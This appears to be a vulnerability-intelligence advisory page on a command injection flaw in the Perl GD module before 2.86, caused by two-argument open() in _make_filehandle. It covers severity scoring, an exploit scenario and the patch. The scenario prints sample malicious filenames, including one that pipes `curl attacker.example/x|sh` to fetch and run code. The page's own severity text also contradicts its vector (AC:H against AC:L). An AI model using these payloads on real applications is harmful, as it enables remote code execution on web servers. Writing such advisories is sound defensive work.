EUVD-2026-36659
GHSA-hx22-9fx3-xg77
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Network-reachable via vulnerable web apps with PR:N and full CIA impact from command execution, but AC:H because the calling application must forward an unsanitized attacker-controlled filename to a GD constructor.
Primary rating from Vendor (vendor:alpine).
CVSS VectorVendor: vendor:alpine
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
7DescriptionCVE.org
Alpine Linux: perl-gd fixed in 2.86-r0
AnalysisAI
Command injection and arbitrary file truncation in the Perl GD module before 2.86 (perl-gd 2.86-r0 on Alpine) arise because GD::Image's _make_filehandle helper opened filenames using Perl's two-argument open(). When an application passes an attacker-influenced filename to constructors like GD::Image->new or newFrom*, prefixes such as cmd |, | cmd, or > file are interpreted by Perl as a command pipe or redirect, yielding command execution or destructive file truncation. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the consuming application to call a GD::Image filename constructor (new, newFromPng, newFromJpeg, newFromGif, newFromGd2, etc.) with a string whose contents the attacker can influence - typically an upload form, an HTTP parameter naming a server-side file, or a job queue payload - without first stripping leading `|`, trailing `|`, or leading `>`/`<` characters. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals are inconsistent. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A web application accepts an image upload and passes the user-supplied filename to GD::Image->newFromPng to render a thumbnail. The attacker submits a filename such as `id > /var/www/html/pwn.txt |` or `| /bin/sh -c 'curl attacker.example/x|sh'`; Perl's two-arg open in _make_filehandle interprets the trailing or leading pipe and spawns the command under the web server's UID, giving remote code execution. … |
| Remediation | Vendor-released patch: GD 2.86 on CPAN (perl-gd 2.86-r0 on Alpine) - upgrade the GD Perl module to 2.86 or later, which replaces the two-argument open in _make_filehandle with `open($fh, '<', $thing)` per commit 67b163713c6c78dfeb693da0978ae934e5cd8210. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify and inventory all systems running perl-gd versions prior to 2.86 (check Alpine Linux systems specifically). …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-73 – External Control of File Name or Path
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today